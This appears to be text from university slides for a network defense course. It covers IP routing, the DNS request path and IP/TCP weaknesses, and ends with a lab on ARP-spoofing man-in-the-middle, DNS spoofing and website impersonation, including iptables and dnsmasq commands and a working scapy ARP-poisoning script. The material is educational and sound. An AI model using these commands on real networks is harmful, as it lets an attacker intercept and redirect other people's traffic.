Temporary link for the material

https://shorturl.at/wgRDH
 University of Rome Tor Vergata
ICT and Internet Engineering

Network and System Defense

Giacomo Belocchi, Angelo Tulumello

A.A. 2024/2025
General Information

• Lecturers:
○ Giacomo Belocchi
○ Angelo Tulumello
• The teaching material will be uploaded to Teams

• Lectures
○ Monday, 9:30 am @ C4;
○ Tuesday, 4:00 pm @ B14;
○ Wednesday, 4:00 pm @ C4.
Course Objectives

• Getting your hands dirty with

attacks at various stack levels
• Understand the general
security issues of complex IT
systems
• Know the main defence
methodologies and techniques
• Get a better understanding of
the hardware/software stack of
IT systems

4
Teaching Material
● This course is based on a combination of:
○ books
○ standards
○ papers
○ best practices
○ Internet pages
○ source code
○ experience
● We will provide as much material as possible on Teams

● If you need one book:

Awais Rashid, Howard Chiversi, Emil Lupu, Andrew Martin, Steve Schneider
(eds.)
CyBOK: The Cyber Security Body of Knowledge, v1.1.0
The National Cyber Security Centre 2021
Exam information
• There are two flavours of the exam:
○ 6 CFU
○ 9 CFU

• 6 CFU exam:
○ TBD (oral or written)
• 9 CFU exam:
○ TBD (oral or written)
○ a project (picked by the student from a pool proposed by the lecturers)

• Discussion of the project on the same day of the examination

○ or in different dates within the same A.Y.
• Must be handed in one week before
• Both project and examination in the same A.Y.
Course program

• Security frameworks
• Access networks and perimeter security
• Core Networks
• End-to-end security
• Hardware and Operating Systems security
• Virtualisation and Cloud security
• Database Security
• Antivirus Software
Prerequisites

• Some knowledge of IT systems stack

• Hardware knowledge (like a Computer Architecture course)
• Basic operating systems principles
• Network protocols and infrastructures
• Programming Languages (C is good, Java is meh, Python is bad)

• The class has a very diverse background: if something doesn't fit, ask the
teachers!
Course Overview - Network Track
Network Track - Topics Covered (tentative)

❏ Access networks and perimetral security

❏ Ethernet, 802.11, VLAN, IPv6 CGA, 802.1x, 802.11 sec
❏ Firewalls
❏ Core Networks
❏ BGP vulnerabilities, BGP security, MPLS VPNs, DDoS and Botnets
❏ End to end security
❏ PKIs, Secure Network Protocols, DNS security, HTTPS, Overlay VPNs, Anomaly Detection +
IDS/IPS
❏ Virtualization and Cloud
❏ VXLAN + eVPN, eBPF
IP/TCP intrinsic vulnerabilities
(+ MiTM and DNS spoofing)

Angelo Tulumello

Slides by Prof. Marco Bonola

Recap: IP architecture and Operations
Basic Concepts
❏ Internet is nothing but an inter-network consisting of a huge number of sub-networks that can be based on
different technologies
❏ 802.11 (WiFi), 802.3 (Ethernet), 3G, 4G, fiber, ADSL, etc…
❏ Communication among devices implementing different network technologies is enabled by a common
protocol stack implemented on top of the different physical/MAC layer (remember the OSI paradigm?)
❏ the IP protocol (and other upper layer protocols: TCP, UDP, applications, etc...)
❏ Each device in the IP network is identified by a unique 32 bit (IPv4) or 128 bit (IPv6) ID, called IP address
❏ Different sub-networks communicate with each other through special devices called routers
❏ IP forwarding based Longest Prefix Matches on the destination address
❏ IP forwarding can be
❏ direct: the destination is in the same network
❏ indirect: the destination is reachable through a so-called next hop
❏ IP goal is to deliver the packet to the final network. The actual delivery is delegated to the specific L2 protocol
❏ this usually requires to translate the IP address into the relative L2 address (e.g. ARP resolution: IP MAC address)
❏ Such inter-network is divided into several independent entities called Autonomous Systems (AS)
❏ in each autonomous system the routing info exchange is managed independently (via Interior Gateway Protocols - IGPs, e.g.
OSPF, IS-IS, RIP, etc..)
❏ To provide global reachability, the ASes (may) exchange routing information through Exterior Gateway
Protocols (i.e. BGP)
IP address anatomy
❏ IP networks are logically divided subnet, so that:
❏ Inside each subnet, two hosts must directly communicate using L2 technology (e.g. ethernet, wifi ...)
❏ Across different subnet, hosts communicate through routers (one or more)
❏ IP addresses of the same subnet have same first X bits (“net” part) and a different 32-X bits (“host”
part)

Example: 192.168.0.5 and 192.168.0.6 on the same network

10111110 10101000 00000000 00000101

10111110 10101000 00000000 00000110
network host
How long is the network part (or prefix)?
❏ From 1984 IP addresses have no information about the network prefix length
(Classless Inter Domain Routing (CIDR) addresses)
❏ Before it was Classful

source: https://www.practicalnetworking.net/stand-alone/classful-cidr-flsm-vlsm/
How long is the network part (or prefix)?
❏ From 1984 IP addresses have no information about the network prefix length
(Classless Inter Domain Routing (CIDR) addresses)
❏ An additional 32 (or 128) bit is required, namely the subnet mask
❏ The i-th bit of the subnet mask is set to
❏ 0: if the i-th bit is in the host part
❏ 1: if the i-th bit is in the network prefix
❏ Example
❏ IP address: 192.168.1.12 10111110 10101000 00000001 00001100
❏ Network Mask: 255.255.255.0 (aka /24) 11111111 11111111 11111111 00000000

Network Prefix (address AND mask)

192.168.1.0
IP header (v4 and v6)
 Routing Table
❏ Data structure used to retrieve
the information about how to
forward a packet
❏ It consists of the following fields
(+ others…)
❏ destination address
❏ mask (or named genmask, netmask,
etc..)
❏ next hop (or gateway)
❏ output interface
❏ lookup key: ip destination addr
❏ in case of multiple matches
❏ Longest Prefix Matching (LPM)
IP Forwarding
Operations
(pseudocode)
 def routing_lookup(p):
for each i in order_by_pref_len(rt):
if (p.daddr & i.mask

IP Forwarding == i.addr):
return i

Operations return None

(pseudocode)
IP Forwarding ARP
request/response
Operations
(pseudocode)
ARP
request/response

ICMP TTL exceeded

the packet’s journey from the client to the
server (via the internet)
What happens inside the client (simplified and not exhaustive)

process (thread)
user
space syscall()
socket
AP + router

kernel IP/TCP
domestic network
802.11 (WiFi) space

driver
PCI
NIC
From the web browser to the DNS server (same AS)

adsl

AP + router
edge router

domestic network
802.11 (WiFi)
From the web browser to the DNS server (same AS)

adsl

AP + router
edge router border
router

domestic network AS Fastweb

802.11 (WiFi)
From the web browser to the DNS server (same AS)
DNS FW

data center FW

adsl

AP + router
edge router border
router

domestic network AS Fastweb

802.11 (WiFi)

in the data center we probably have a complex scenario

Complex physical topologies ...
Complex physical topologies ...
... virtual execution environments ...
... and virtual networking environments
From the web browser to the web server (in another AS)

AP + router

domestic network
802.11 (WiFi)
From the web browser to the web server (in another AS)

adsl

AP + router
edge router

domestic network
802.11 (WiFi)
From the web browser to the web server (in another AS)

adsl

AP + router
edge router

domestic network AS Fastweb

802.11 (WiFi)
From the web browser to the web server (in another AS)

adsl
fiber
AP + router
edge router border Transit AS 1
router

domestic network AS Fastweb

802.11 (WiFi)
From the web browser to the web server (in another AS)

adsl
fiber
AP + router
edge router border Transit AS 1
router

domestic network AS Fastweb

802.11 (WiFi)

Transit AS 2
From the web browser to the web server (in another AS)

adsl
fiber
AP + router
edge router border Transit AS 1
router

domestic network AS Fastweb

802.11 (WiFi)

Transit AS 2

Transit AS N
From the web browser to the web server (in another AS)

adsl
fiber
AP + router
edge router border Transit AS 1
router

domestic network www.google.com AS Fastweb

802.11 (WiFi)

Transit AS 2

Transit AS N

google datacenter
Layered Protocol Stack (DNS request)

❏ DNS: “give me the IP address of www.google.com”

❏ UDP: insert source and destination ports (+ checksum)
❏ IP provides
○ addressing: destination and source addresses
○ fragmentation
○ and other minor things (csum, QoS mark, TTL) ..
❏ Access network layer changes hop by hop
Protocol Stack (DNS request - simplified)

DNS
resolve google.com

application layer: forge DNS request

 Protocol Stack (DNS request - simplified)

DNS
resolve google.com

UDP
sport: 5000, dport: 53

transport layer: insert ports

 Protocol Stack (DNS request - simplified)

DNS
resolve google.com

UDP
sport: 5000, dport: 53
IP
10.0.0.100
85.18.200.200

network layer: insert addresses

 Protocol Stack (DNS request - simplified)

DNS
resolve google.com

UDP
sport: 5000, dport: 53
IP
10.0.0.100
85.18.200.200
802.11
ac:de:48:00:11:22
00:50:56:c0:00:13

MAC layer: insert MAC addresses and TX

 Protocol Stack (DNS request - simplified)

DNS DNS
resolve google.com resolve google.com

UDP UDP
sport: 5000, dport: 53 sport: 5000, dport: 53
IP IP
10.0.0.100 10.0.0.100
85.18.200.200 85.18.200.200
802.11 802.11
ac:de:48:00:11:22 ac:de:48:00:11:22
00:50:56:c0:00:13 00:50:56:c0:00:13

AP receives the packet → MAC layer sends to IP layer

 Protocol Stack (DNS request - simplified)

DNS DNS
resolve google.com resolve google.com

UDP UDP
sport: 5000, dport: 53 sport: 5000, dport: 53
IP IP
10.0.0.100 93.42.70.129
85.18.200.200 85.18.200.200
802.11 802.11
ac:de:48:00:11:22 ac:de:48:00:11:22
00:50:56:c0:00:13 00:50:56:c0:00:13

IP: not my address→ FWD and NAT (also source port may be changed)
 Protocol Stack (DNS request - simplified)

DNS DNS
resolve google.com resolve google.com

UDP UDP
sport: 5000, dport: 53 sport: 5000, dport: 53
IP IP
10.0.0.100 93.42.70.129
85.18.200.200 85.18.200.200
802.11 802.11
ac:de:48:00:11:22 ac:de:48:00:11:22
00:50:56:c0:00:13 00:50:56:c0:00:13

upper layers are not involved (unless we have something like a firewall or proxy etc...)
 Protocol Stack (DNS request - simplified)

DNS DNS
resolve google.com resolve google.com

UDP UDP
sport: 5000, dport: 53 sport: 5000, dport: 53
IP IP
10.0.0.100 93.42.70.129
85.18.200.200 85.18.200.200
802.11 ethernet
ac:de:48:00:11:22 00:50:56:c0:00:13
00:50:56:c0:00:13 00:32:11:aa:12:01

packet is sent to the NIC for TX. Let us assume the server is the next hop. MAC
addresses change accordingly
 Protocol Stack (DNS request - simplified)

DNS DNS DNS

resolve google.com resolve google.com resolve google.com

UDP UDP UDP

sport: 5000, dport: 53 sport: 5000, dport: 53 sport: 5000, dport: 53
IP IP IP
10.0.0.100 93.42.70.129 93.42.70.129
85.18.200.200 85.18.200.200 85.18.200.200
802.11 ethernet ethernet
ac:de:48:00:11:22 00:50:56:c0:00:13 00:50:56:c0:00:13
00:50:56:c0:00:13 00:32:11:aa:12:01 00:32:11:aa:12:01

MAC layer sends to IP layer

 Protocol Stack (DNS request - simplified)

DNS DNS DNS

resolve google.com resolve google.com resolve google.com

UDP UDP UDP

sport: 5000, dport: 53 sport: 5000, dport: 53 sport: 5000, dport: 53
IP IP IP
10.0.0.100 93.42.70.129 93.42.70.129
85.18.200.200 85.18.200.200 85.18.200.200
802.11 ethernet ethernet
ac:de:48:00:11:22 00:50:56:c0:00:13 00:50:56:c0:00:13
00:50:56:c0:00:13 00:32:11:aa:12:01 00:32:11:aa:12:01

IP layers sends to UDP layer (local address)

 Protocol Stack (DNS request - simplified)

DNS DNS DNS

resolve google.com resolve google.com resolve google.com

UDP UDP UDP

sport: 5000, dport: 53 sport: 5000, dport: 53 sport: 5000, dport: 53
IP IP IP
10.0.0.100 93.42.70.129 93.42.70.129
85.18.200.200 85.18.200.200 85.18.200.200
802.11 ethernet ethernet
ac:de:48:00:11:22 ac:de:48:00:11:22
00:50:56:c0:00:13 ac:de:48:00:11:22
00:50:56:c0:00:13
00:50:56:c0:00:13 00:32:11:aa:12:01
00:50:56:c0:00:13 00:32:11:aa:12:01
00:50:56:c0:00:13

UDP layer checks if there is an application listeining on port 53 (UDP server)

 Protocol Stack (DNS request - simplified)

DNS DNS DNS

resolve google.com resolve google.com resolve google.com

UDP UDP UDP

sport: 5000, dport: 53 sport: 5000, dport: 53 sport: 5000, dport: 53
IP IP IP
10.0.0.100 93.42.70.129 93.42.70.129
85.18.200.200 85.18.200.200 85.18.200.200
802.11 ethernet ethernet
ac:de:48:00:11:22 00:50:56:c0:00:13 00:50:56:c0:00:13
00:50:56:c0:00:13 00:32:11:aa:12:01 00:32:11:aa:12:01

DNS server processes the request

IP/TCP vulnerabilities
Authentication and repudiation

❏ Identification: network devices are identified by binary strings that can be

easily falsified
❏ IP addresses can be spoofed in packets locally generated and forwarded
❏ IP address spoofing
❏ generate a packet with an address that does not belong to the device used to TX
❏ change the IP address in a forwarded packet
❏ For example: generate a packet with source address belonging to a legitimate
DNS server
❏ DNS server impersonification
❏ Repudiation: how can I verify that the origin of a packet is actually the IP
address that is seen in the packet?
Confidentiality
❏ IP does not implement any mechanism that aims at protecting the disclosure of
the content of a packet from a non authorized user
❏ Packet interception and decodification is trivial...
Confidentiality

❏ IP does not implement any mechanism that aims at protecting the disclosure
of the content of a packet from a non authorized user
❏ Packet capture/decodification is trivial…
❏ Moreover, end users have no control over the packet path
❏ OK we trust our ISP…
❏ … but can we do the same of all other ASes traversed by the packets?
❏ But even if we had such control, have you ever heard of route
hijacking/leaking?
❏ BTW, confidentiality here is the least of the problems….
Data Integrity (i.e. received packets are not modified)
❏ IP/TCP(or UDP) implement a checksum mechanism for the header and payload

❏ TRUE, but this is to identify possible (legitimate) TX errors

❏ and so this is not computed in a secure way
❏ this is simply the 4-bit word XOR of the header (IP) and the payload+pseudoheader
(TCP/UDP)
❏ An intercepted packet can be modified
❏ as the csum can be recomputed
Packet replication

❏ At IP layer there is no mechanism to identify a packet within a given flow

❏ no sequence numbers, nor fingerprints
❏ Transport layer protocols may have sequence numbers (e.g. TCP)
❏ they are not for anti-reply, but only for reliable/ordered delivery
❏ as they are not protected in any way, it is possible to spoof them
❏ also this problem is left to the applications
Dynamic mapping in networking
and how easily can this be exploited
Network protocols heavily rely on dynamic mapping

❏ Things are complicated by the fact that internet protocols implement different
“discovery” mechanisms based on dynamic mapping
❏ Examples
❏ from names to IP addresses (DNS)
❏ from IP addresses to MAC addresses (ARP)
❏ from MAC to output ports (802.3 bridging)
❏ from destination addresses to IP next hops (IP routing)
❏ These mechanisms as well were not designed with security requirements
❏ E.g.: with legacy DNS implementation we can not authenticate the name
resolutions (netgroup.uniroma2.it <> 160.80.221.15)
DNS spoofing
A practical example

❏ In the following Lab we are going to see how to exploit the previously mentioned
dynamic mapping insecurity to realize a practical attack
❏ This attack is clearly “outdated” and “inefficient”
❏ we can do the same simply with a MiTM
❏ it is meant to show the “historical” vulnerabilities
❏ it is easily prevented by implementing HTTPS
❏ Attack high level description:
❏ (mac address ⇔ ip address) insecure mapping exploited to realize a MiTM
❏ (website name ⇔ ip address) insecure mapping exploited to realize DNS
spoofing
❏ insecure website (http://netgroup.uniroma2.it) impersonification
Lab 1
Man in the middle, DNS spoofing and
website impersonification
Attack description
❏ GOAL: hijack HTTP requests through DNS spoofing
❏ Scenario
❏ Attacker in the same local network as Victim
❏ Victim’s DNS resolver 8.8.8.8
❏ DNS spoofing: netgroup.uniroma2.it → attacker’s IP address
❏ netgroup.uniroma2.it impersonification
❏ STEP 1: MiTM
❏ STEP 2: DNS request interception
❏ STEP 3: DNS reply spoofing
❏ STEP 4: web site impersonification
❏ Everything realized with open source tools and Linux
❏ Emulated environment with Linux and GNS3
Topology

defaultDNS: 8.8.8.8

netgroup.uniroma2.it
Attack insights
❏ Attacker sends spoofed ARP responses to Victim and defaultGW
❏ ARP opcode 2 unicast to bb:bb:bb:bb:bb:bb (Victim): 10.0.0.1 is @ aa:aa:aa:aa:aa:aa
❏ ARP opcode 2 unicast to cc:cc:cc:cc:cc:cc (defaultGW): 10.0.0.100 is @ aa:aa:aa:aa:aa:aa
❏ Attacker becomes the Man in the middle and redirects DNS request to 127.0.0.1
❏ iptables -t nat -A PREROUTING -p udp --dport 53 -j REDIRECT
❏ Attacker runs a light DNS server (dnsmasq) configured as follows:
❏ netgroup.uniroma2.it → 10.0.0.200 (DNS spoofing)
❏ «address=netgroup.uniroma2.it/10.0.0.200» into /etc/dnsmasq.d/spoof.conf
❏ anything else forwarded to 8.8.8.8
❏ «server=8.8.8.8» into /etc/dnsmasq.d/spoof.conf
❏ Attacker impersonificates netgroup.uniroma2.it
❏ website mirroring: wget --mirror --convert-links --html-extension --no- parent -l 1 --no-check-
certificate netgroup.uniroma2.it
❏ website hosted by Apache2
MiTM with python/scapy
import sys
from scapy.all import *
import time

ip_victim="10.0.0.100"
ip_router="10.0.0.1"
hw_attacker="aa:aa:aa:aa:aa:aa"
hw_router="cc:cc:cc:cc:cc:cc"
hw_victim="bb:bb:bb:bb:bb:bb"

arp_to_victim = Ether(src=hw_attacker, dst=hw_victim)/ARP(op=2, psrc=ip_router, \

pdst=ip_victim, hwsrc=hw_attacker, hwdst=hw_victim)

arp_to_router = Ether(src=hw_attacker, dst=hw_router)/ARP(op=2, psrc=ip_victim, \

pdst=ip_router, hwsrc=hw_attacker, hwdst=hw_router)

if not arp_to_victim or not arp_to_router:

exit()
while (True):
sendp(arp_to_victim)
sendp(arp_to_router)
time.sleep(1)